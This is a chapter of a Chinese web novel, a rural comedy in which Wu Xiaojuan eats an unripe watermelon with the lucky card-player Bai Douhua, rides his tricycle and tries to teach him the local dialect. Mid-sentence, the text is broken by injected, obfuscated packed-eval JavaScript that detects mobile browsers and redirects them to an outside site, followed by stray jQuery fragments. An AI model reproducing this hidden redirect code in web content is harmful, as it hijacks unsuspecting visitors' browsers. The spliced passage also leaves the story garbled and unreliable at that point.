14. 白梦男

作品:《拼了

    秸秆燃烧后生成的草木灰可以拿去施肥,发电站的站长让吴小卷转告镇长,可以通知各村来领草木灰了。


    吴小卷亲自到白窦桦他们村里发通知。


    白窦桦这个辣嘴摧化肥的小农工,正在树荫下偷懒摸鱼,准备吃瓜。


    吴小卷隔着一条小路,唱山歌似的,朝他嘿~了一声,把白窦桦的注意力嘿过来。


    正巧有一辆拖运猪崽的大卡车压着狭窄路面,颠簸行驶而来。


    两人被车身阻隔视线,都看到了镂空货箱里挤来挤去的猪。


    吴小卷大喊:“白梦男!”


    白窦桦也喊:“谁是梦男?”


    卡车过去了,扬起黄土、尘埃和浓重的骚味。


    吴小卷捂住口鼻走到白窦桦面前,闷声闷气:“你听错了,我是说,猛男,好久不见。”


    白窦桦抱着圆滚滚的大西瓜:“好久不见。”


    他是挺猛的,徒手切瓜,掰开后分给吴小卷四分之一。


    吴小卷笑容甜甜地说谢谢,低头,然后发觉不对。


    这瓜肉怎么发白啊?


    “不会没熟吧?”吴小卷对于鸡蛋之外的食品要求比较高,不吃没熟的瓜果。


    “绝对熟了。”白窦桦却很笃定地咬了几大口,解释说,“这是哈密西瓜,就长这样。”


    “哈密西瓜?”吴小卷睁圆了没见识的眼睛,“国外嫁接新品种哦。”


    吴小卷套一件镇花的粉色布衫当工作服,工作服宽宽大大的,她把背篓背在里面都能完全被罩住。


    撸起袖子卷了好几下,弄到小臂以上固定住,过了一会儿,见白窦桦表情和生理上没有出现任何问题,吴小卷才接过西瓜埋头苦吃。


    西瓜汁顺着细白的胳膊往下淌,汇聚到尖尖的手肘,滴落在地。


    白窦桦看着她,嘴唇抿起,眉眼弯弯。


    “yue——”


    口腔中味蕾被激活的瞬间,吴小卷立即作呕,将刚刚吃到嘴里嚼吧嚼吧的瓜吐了出来。


    哈你爹的密西瓜,这根本就是没熟的普通西瓜!


    白窦桦肆无忌惮地乐出了声。


    吴小卷呸完嘴里软软的西瓜籽,抬头看见了,生气:“笑什么笑?”


    “你穿粉扑扑的衣服,背上鼓起来一块,吭哧吭哧吃着西瓜——”白窦桦诚实道,“好像一头小猪。”


    吴小卷愣了。


    白窦桦是什么东西?


    他在这里也是个大丑怪。


    凭什么说她像头猪。


    她就知道,这老乡里头哪有好人呐。


    如果白窦桦不笑,她还能用当地审美下猪是漂亮生物的理由来哄骗自己。


    但白窦桦越笑越大声。


    吴小卷脱掉工作服,把背篓扯下来,制止道:“小白,良言一句三冬暖,恶语伤人六月寒。”


    善语结善缘。


    白窦桦于是收敛神色,闭口不言,继续吃瓜。


    这下吴小卷没顾上继续愤怒,吃惊极了:“还吃呢?”


    这瓜搁嘴里就一点淡淡的酸涩滋味。


    她提醒道:“没熟!”


    白窦桦又咬一口:“熟了。”


    吴小卷:“……”


    她把自己没吃完顺手搁在身旁石头面上的瓜还给白窦桦,让他装个够,回头蹲茅坑上一泻千里。


    趁白窦桦吃瓜的功夫,吴小卷到附近的土地里旋悠两圈,看准一根大黄瓜,偷摸蹲下掐那上面凸起的小疙瘩,如同在挤谁脸上的粉刺,非常解压。


    黄瓜表面变得光滑,吴小卷的怨气也就随之消失。


    她回去把拉草木灰的事跟白窦桦讲了,然后问他:“你最近打牌赢了不少钱吧?”


    村里人干完活后放松的时候兴玩牌,规则也不知道是怎样,白窦桦来了几个月,就赢了几个月,赢的东西小到孩子的糖果,大到老人的耳环戒指,小日子可以说过得顺风顺水。


    他问吴小卷:“你怎么知道?”


    “我就是知道。”


    废话,吴小卷往他身后的田坎一瞥。


    以前那拉肥料的小破三轮都从脚踩变成电动的了。


    吴小卷好奇地问:“你对这边的玩法也很了解?”


    白窦桦:“这里玩牌就是最简单的比大小,说实话,我也不精通其中的技术和策略,能赢全凭运气好。”


    意思是无论什么规则,遇到什么样的对手,就硬赢。


    吴小卷一个倒霉蛋,根本听不得这话,她左耳进右耳出,直勾勾看着那辆电动三轮车。


    白窦桦顺着她的目光看去,介绍说:“这是从村霸手上赢过来的。”


    村霸就是最开始帮忙把白窦桦架到镇长家的另一个青年,又结实气场又强。


    白窦桦现在在村里干活,就借宿在青年家,见平时大家干农活都听青年指挥,所以就叫他村霸。


    吴小卷:“哦。”


    眼珠子还是没转。


    白窦桦也不墨迹,用毛巾擦干净脸和手,把她往车那边领,大方道:“走,带你兜一圈风再去拖草木灰。”


    ……


    一路上都是稻田、瓜棚和玉米地,电动三轮车减震性能不错,顺利通过凹凸不平的泥巴路,很快行驶到加宽的水泥道上。


    道路两旁立有茂盛的大树。


    正平稳吹着风呢,吴小卷突然想起自己好像有一道流程忘了走。


    于是她亡羊补牢,开口来上一句夸奖,给足司机情绪价值:“小白刚干完活就带我坐车,小白真好。”


    风吹得人懒洋洋,吴小卷温柔体贴又懂事:“也不用开太快啦,拖灰的事慢慢来,别累着哥哥了。”


    话音落地。


    车滑行一小段距离,缓缓停下来。


    吴小卷前后左右看看,路况没问题,去搂白窦桦脖子:“咋停啦?”


    白窦桦单手搭在车把手上,头也不转:“不是让我别累着了?”


    吴小卷摇他肩膀,理所当然不干了:“那你也不能闲着啊。”


    ……行叭。


    白窦桦猛加油门,载着吴小卷飞驰在乡间大道上,清风拂过,树叶在枝头倒挂着起舞,隔得近的互相触碰鼓掌,一时间沙沙作响。


    树荫下透着点点阳光,吴小卷展开双臂,感觉身上暗藏的尸斑都淡了不少。


    这里不像大城市,快速流动的空气里没有那股特有的机油、橡胶和灰尘混合的难闻气息。


    吴小卷身上的烟熏味也被风带走消失不见,惬意得不行。


    她的脸上浮现出笑意。


    谁知在下一个路口,三轮车压过路中央不知是谁投放的尖锐石子暗器,爆胎了。


    *


    吴小卷有空的时候就跑到白窦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465529|185391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桦他们村子里朝他显摆新学会的口语,顺带把霉气过给这位幸运老乡。


    村里青壮年短缺,忙起来的时候老人甚至孩子都会帮忙干活。


    平时下地种田的主要劳动力还是女人,她们个个都和镇花一样强壮有力、性格温和,每当看到这么个1米7几的可爱丑玩意儿来找白窦桦,就轮番乐乐呵呵地丢下活,过来抱小孩儿一样抱着吴小卷悬空转几圈,塞给她一塑料袋花生瓜子,或是自己做的苞谷泡。


    吴小卷嘴甜,拿没拿人东西,都送人一个飞吻,对人打心眼里说一句:“我今天也超级爱你。”


    然后姐姐妹妹们瞅她就更讨喜了。


    人情世故有时候也不会让人很辛苦嘛,吴小卷被姐姐妹妹们抱着转圈,双脚离地,低空飞翔,脸上心里都像在沐浴阳光。


    白窦桦撑着铲子,站田里冷眼旁观她卖乖。


    吴小卷捧着一堆吃食过去,在田坎上居高临下地问:“小白你什么学历?”


    白窦桦:“初中。”


    吴小卷眼神犀利:“好,我学历比你高,拥有高中毕业证,接下来让我来教会你义务教育以外全新的知识。”


    她从背篓里把卷边的教材和字典掏出来,打算进行文化的传承。


    白窦桦招呼她走远点,等他干完农活再掰扯文化传承的事。


    这田地里只适合进行农作物种子的传承。


    白窦桦的电动三轮被镇长托人送去县城修理了,他又骑回原来的脚踏三轮车,那车只要吴小卷坐上去行驶一段路,就会掉个螺丝断个链条,导致白窦桦现在一知道吴小卷要来,就把车停得远远的,步行。


    怎么说?


    人比车好修。


    ……


    等到吃饭的时间,看大家都撂挑子休息,白窦桦也终于停下来歇了口气,让吴小卷跟他上车。


    吴小卷嗑着瓜子,举目四望:“车呢?”


    白窦桦擦了把汗,把工具放好,走到她前面带路:“跟我来吧。”


    三轮车停在无人的空地上。


    吴小卷爬上车,学镇花的样子,试着当个好老师。


    白窦桦却不像她那样有条件,能每日白天在厂房里预习思考,晚上还大课小课复习巩固,所以断断续续下来,吴小卷的教学成果不佳,白窦桦依旧是个文盲。


    “哎呀!聪明,勇敢,有力气。”吴小卷用本地话把几个词说一遍,再用普通话翻译一遍,朝白窦桦皱眉头,“就猪猪侠那几句歌词。上次才教的,怎么又忘了?”


    白窦桦:“你口中的上次已经过去一个星期了,就算是猪猪侠来了也得忘光光。”


    吴小卷牙都要咬碎了,翻教材:“那‘早上好,晚上好,吃了吗您嘞’呢,你每天练习,至少能记住一个常用短语吧,怎么就开不了口呢,学语言,最重要的是创造用语环境。”


    白窦桦冷眼:“我跟谁练习?小麦,稻子,西瓜,锄头,化肥,还是有家有室的姐姐妹妹?”


    “可愁死我了。”


    吴小卷坐在三轮车后厢里跺脚,心中揣着至理名言“知识改变命运”,脸上挂着五字真经“恨铁不成钢”。


    “也不知道第一次见面的时候怎么好意思让我多看书的。”她嘀嘀咕咕,将手指向远处接替白窦桦干活的人,说,“你如果不好意思每天和女人打招呼,那你可以跟大牛对话啊!”